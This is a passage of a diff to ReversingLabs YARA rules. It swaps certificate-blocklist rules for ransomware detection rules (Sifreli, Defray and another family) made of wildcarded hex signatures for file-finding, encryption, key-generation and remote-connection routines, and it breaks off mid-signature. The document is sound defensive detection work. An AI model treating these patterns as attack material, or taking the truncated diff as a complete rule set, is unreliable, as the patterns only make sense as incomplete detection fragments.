"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f96723845adc8030b72c119311103d5c2cf136e79de226d31141d8b925ce8e75" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 59 53 68 ?? ?? ?? ?? 6A ?? 53 6A + ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 + BD ?? ?? ?? ?? ?? 75 ?? BF ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 8D 75 ?? E8 ?? ?? ?? + ?? 50 89 5D ?? E8 ?? ?? ?? ?? 53 6A ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 + E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 53 68 + ?? ?? ?? ?? 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 56 FF D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? + ?? 6A ?? 5F 53 57 56 FF B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 50 + 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 33 FF 3B F3 89 85 + ?? ?? ?? ?? 7F ?? 7C ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 33 FF 47 EB ?? B9 ?? ?? + ?? ?? 3B C1 73 ?? 53 51 56 FF B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 + } + $encrypt_files_p2 = { + 56 FF B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 89 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 3B FB 8B 3D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? + 89 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 FF B5 ?? + ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ?? ?? ?? ?? 8D 4D + ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 53 53 FF B5 ?? + ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? + ?? ?? ?? FF D6 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 3B C3 0F 84 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 86 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 53 53 FF B5 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 FF B5 ?? + ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 53 + FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D7 53 8D 85 ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 01 85 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 11 85 ?? ?? ?? ?? FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? + FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 53 53 33 C0 50 FF B5 ?? ?? ?? ?? FF D7 8B + BD ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ?? + ?? 50 6A ?? 8D 45 ?? 50 57 FF D6 53 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF + D6 57 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 + } + $remote_connection_p1 = { + 55 8B EC 83 EC ?? 53 56 33 F6 57 8D 5D ?? 89 75 ?? E8 ?? ?? ?? ?? 89 75 ?? 56 56 56 + FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 3B DE 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 FF 6A ?? 8D + 45 ?? 50 FF 74 BD ?? 53 FF 15 ?? ?? ?? ?? 47 83 FF ?? 72 ?? 56 56 6A ?? 56 56 FF 75 + ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ?? + B8 ?? ?? ?? ?? 0F 95 C1 56 49 23 C8 03 C8 81 C9 ?? ?? ?? ?? 51 56 56 56 FF 75 ?? 89 + 4D ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 6A ?? + 5F 8D 45 ?? 50 8D 45 ?? 50 6A ?? 53 89 7D ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? + 81 4D ?? ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF + 75 ?? F7 D8 1B C0 50 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 56 56 8D 45 ?? + 50 53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C7 50 FF 75 ?? E8 ?? ?? ?? + ?? 59 59 8D 4D ?? 51 FF 75 ?? 89 45 ?? 03 C7 50 53 FF 15 ?? ?? ?? ?? 03 7D ?? 39 75 + ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? + 39 75 ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? + ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B C9 C3 + } + $remote_connection_p2 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 9D ?? ?? ?? ?? + 8B F9 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 45 + ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 85 F6 75 + ?? B8 ?? ?? ?? ?? 50 8D 45 ?? 50 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 8B F8 85 F6 74 ?? 56 E8 ?? ?? ?? ?? 59 85 FF 74 ?? 57 E8 ?? ?? ?? ?? 59 FF B5 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 5F 5E 33 + CD 5B E8 ?? ?? ?? ?? C9 C3 + } + $generate_key = { + 0F 31 0F AF C8 0F AF CE 0F AF 8D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 33 FF 47 57 53 53 + 8D 85 ?? ?? ?? ?? 50 89 8D ?? ?? ?? ?? FF D6 3B C3 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? + ?? ?? 75 ?? 6A ?? 57 53 53 8D 85 ?? ?? ?? ?? 50 FF D6 3B C3 74 ?? 8D 85 ?? ?? ?? ?? + 50 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 59 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B C7 + B9 ?? ?? ?? ?? 8B 11 8B F2 C1 EE ?? 33 F2 69 F6 ?? ?? ?? ?? 03 F0 89 71 ?? 83 C1 ?? + 40 81 F9 ?? ?? ?? ?? 7C ?? 57 A3 ?? ?? ?? ?? FF 15 + } + $find_files_p1 = { + 8D 85 ?? ?? ?? ?? 53 53 50 53 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF + D6 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 33 F6 0F B7 + C6 FF 34 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 46 66 83 FE ?? 72 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 0F B7 B5 ?? ?? ?? ?? 8D 34 B5 + } + $find_files_p2 = { + FF 36 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D3 FF 36 89 85 ?? ?? + ?? ?? FF D3 8B 8D ?? ?? ?? ?? 3B C8 0F 84 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 66 83 BD ?? + ?? ?? ?? ?? 72 ?? C6 85 ?? ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? FF 34 85 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FE 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? + ?? 72 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 ?? 6A ?? 59 FF B5 ?? ?? ?? ?? 33 C0 + 8B FE F3 AB 66 8B 85 ?? ?? ?? ?? 66 89 46 ?? FF D3 8D 44 00 ?? 50 E8 ?? ?? ?? ?? 59 + FF B5 ?? ?? ?? ?? 89 46 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 EB ?? 56 FF 15 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B + 4D ?? 5F 5E 33 CD 33 C0 5B E8 ?? ?? ?? ?? C9 C2 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Opera Software ASA" and pe.signatures [ i ] . serial == "13:c8:35:1a:ec:e7:1c:73:11:58:98:0f:57:5f:41:33" and 1371513600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $generate_key ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4531954F6265304055F66Ce4F624F95B : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Sifreli : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Sifreli ransomware." author = "ReversingLabs" - id = "da1aaa4c-ac71-5c4c-b663-3d1b57d69040" - date = "2020-08-05" - modified = "2023-11-08" + id = "974f81e2-6907-54da-97e3-3116c41b5ed4" + date = "2020-10-08" + modified = "2020-10-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L117-L133" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sifreli.yara#L1-L119" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "58d3a2a5e3f6730f329bddb171ad6332794fa95848825b892c3b8324f503ae89" + logic_hash = "48f6cc678bea81afece0ae203fb27b61e2c6e4f7188a3bd260190f568c9a8a06" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Sifreli" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 83 EC ?? 53 56 57 8B 7D ?? 8B C7 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? + 2B C2 D1 F8 8D 44 00 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? + 6A ?? 50 FF D6 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? + ?? ?? ?? 8B 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 51 FF D6 8B F8 85 FF 0F 84 ?? ?? ?? + ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 3D ?? ?? + ?? ?? 1B C0 40 A3 ?? ?? ?? ?? EB ?? A1 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 57 50 53 FF 15 + ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 F6 07 ?? 74 + ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 47 ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 + 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 33 DB EB ?? + 1B C0 83 D8 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? 8D 47 ?? 8D 49 ?? 66 8B 10 66 3B 11 75 ?? + 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 + EB ?? 1B C0 83 D8 ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 8D 47 ?? 50 8B 07 50 53 68 ?? + ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 55 ?? 57 52 FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? EB ?? C7 45 ?? ?? ?? ?? + ?? 8B 0D ?? ?? ?? ?? 57 6A ?? 51 FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 15 + ?? ?? ?? ?? 53 6A ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ?? + ?? ?? ?? 5B 8B E5 5D C3 + } + $remote_connection_p1 = { + 55 8B EC 83 EC ?? 53 33 DB 8D 45 ?? 89 5D ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8B 45 ?? 8B 4D ?? 56 57 50 51 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B 55 ?? 8B + 4D ?? 52 57 E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 74 ?? 8B 45 ?? 6A + ?? 50 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ?? + C7 45 ?? ?? ?? ?? ?? 56 FF D3 8D 4D ?? 51 8D 55 ?? 52 6A ?? 57 C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 57 8B F0 FF D3 85 F6 74 ?? 8B 45 ?? 50 FF D3 + 8B 5D ?? 83 7D ?? ?? 8B 35 ?? ?? ?? ?? 74 ?? 8B 4D ?? 8B 15 ?? ?? ?? ?? 51 6A ?? 52 + FF D6 8B 45 ?? 85 C0 74 ?? 50 A1 ?? ?? ?? ?? 6A ?? 50 FF D6 5F 5E 8B C3 5B 8B E5 5D + C3 8B C3 5B 8B E5 5D C3 + } + $remote_connection_p2 = { + 55 8B EC 83 EC ?? 56 57 68 ?? ?? ?? ?? 33 FF 57 57 57 57 FF 15 ?? ?? ?? ?? 8B F0 85 + F6 74 ?? 8B 3D ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 89 45 ?? 89 45 ?? 8D 45 ?? 50 6A ?? + 56 C7 45 ?? ?? ?? ?? ?? FF D7 6A ?? 8D 4D ?? 51 6A ?? 56 FF D7 6A ?? 8D 55 ?? 52 6A + ?? 56 FF D7 8B 45 ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 51 56 FF 15 ?? ?? ?? + ?? 8B F8 85 FF 75 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 8B E5 5D C3 + } + $remote_connection_p3 = { + 55 8B EC 83 EC ?? 53 56 8B F0 33 C0 89 06 57 89 46 ?? 89 46 ?? 6A ?? 50 89 46 ?? 8D + 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? BF ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 89 7D ?? 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? 8B 4D ?? 8B 1D ?? ?? ?? ?? 8D 4C 09 ?? 33 C0 85 C9 74 ?? 8B 15 ?? ?? ?? ?? + 51 50 52 FF D3 89 06 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 50 E8 ?? ?? ?? + ?? 8B 06 8B 55 ?? 33 C9 66 89 0C 50 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 66 83 38 + ?? 75 ?? 83 45 ?? ?? 2B CF 89 4D ?? 85 C9 75 ?? 8B 55 ?? 8D 7C 0A ?? 8D 54 3F ?? 33 + C0 85 D2 74 ?? 52 50 A1 ?? ?? ?? ?? 50 FF D3 8B 4D ?? 89 46 ?? 85 C0 74 ?? 51 8B 4D + ?? 51 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 4E ?? 52 8B 55 ?? 50 8D 44 51 + ?? 50 E8 ?? ?? ?? ?? 8B 46 ?? B9 ?? ?? ?? ?? 66 89 08 33 D2 66 89 14 78 66 8B 45 ?? + 83 C4 ?? 83 7D ?? ?? 66 89 46 ?? 75 ?? 83 4E ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D + C3 8B 36 85 F6 74 ?? 8B 0D ?? ?? ?? ?? 56 6A ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B + 8B E5 5D C3 + } + $encrypt_files_1 = { + 8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 57 8B F8 8D 4C 3F ?? 33 + C0 85 C9 74 ?? 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8B F0 8B CB + 2B F3 8D 9B ?? ?? ?? ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? B9 ?? ?? ?? ?? + 8D 34 3F 2B F1 03 F0 EB ?? 8D 49 ?? 0F B7 11 66 89 14 0E 83 C1 ?? 66 85 D2 75 ?? 5E + 5F C3 + } + $encrypt_files_2 = { + 83 E8 ?? 53 56 57 8B DA 74 ?? 48 74 ?? 5F 5E 33 C0 5B C3 53 51 33 F6 E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33 FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ?? + 85 C0 74 ?? BF ?? ?? ?? ?? A1 ?? ?? ?? ?? 56 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F7 5F 8B + C6 5E 5B C3 53 51 33 F6 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8B F0 33 + FF 85 F6 74 ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? + 56 6A ?? 51 FF 15 ?? ?? ?? ?? 8B F7 5F 8B C6 5E 5B C3 ?? ?? 55 8B EC 8B 4D ?? 8B 41 + ?? 83 F8 ?? 0F 8F ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 40 53 89 41 ?? + 8B 45 ?? 83 E8 ?? 56 57 74 ?? 48 0F 85 ?? ?? ?? ?? 8B 7D ?? 33 F6 8D 9B ?? ?? ?? ?? + 8B 86 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 83 + FE ?? 72 ?? 8B 5D ?? E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 51 56 E8 ?? ?? ?? ?? + 83 C4 ?? EB ?? 8B 41 ?? 83 E8 ?? 74 ?? 48 75 ?? 8B 75 ?? E8 ?? ?? ?? ?? EB ?? 8B 75 + ?? 8B C6 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 85 C0 74 ?? 8B 5D ?? 8B FE E8 ?? ?? ?? ?? + 8B F0 85 F6 74 ?? 8B 7D ?? 8B 47 ?? 8B 0F 8B D6 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 47 ?? + 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 45 ?? FF 48 ?? 5F 5E 5B B8 + ?? ?? ?? ?? 5D C3 + } + $encrypt_files_3 = { + 8B C6 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 C0 ?? 85 C0 7E ?? EB + ?? 8D 49 ?? 66 83 3C 46 ?? 74 ?? 48 85 C0 7F ?? 33 C0 C3 8D 44 46 ?? 85 C0 74 ?? 83 + C0 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IDAutomation.com" and pe.signatures [ i ] . serial == "45:31:95:4f:62:65:30:40:55:f6:6c:e4:f6:24:f9:5b" and 1384819199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0E808F231515Bc519Eea1A73Cdf3266F : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Defray : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing Careto malware." + description = "Yara rule that detects Defray ransomware." author = "ReversingLabs" - id = "1f1eb5c2-bfef-58df-b51e-c558d87cd5d2" - date = "2020-08-05" - modified = "2023-11-08" + id = "bc9e2dfe-168b-5b99-8523-07bfdcba44f2" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L135-L151" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Defray.yara#L1-L157" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "05e466e304ed7a8f5c1c93aac4a4b7019d6fb1e07aeb45d078b657f838d1f3bd" + logic_hash = "82d883c77f49e50edbc7af05a108d4d54a46dca7661e4d0cd8aeffa19cb8df98" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Defray" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 + F6 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D9 56 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 + C4 ?? 2B D3 8B CB 89 95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D + BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C6 75 ?? BE ?? ?? ?? ?? 68 ?? ?? + ?? ?? 53 A5 A5 66 A5 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ?? + 83 FB ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? + 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C6 + EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B + 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 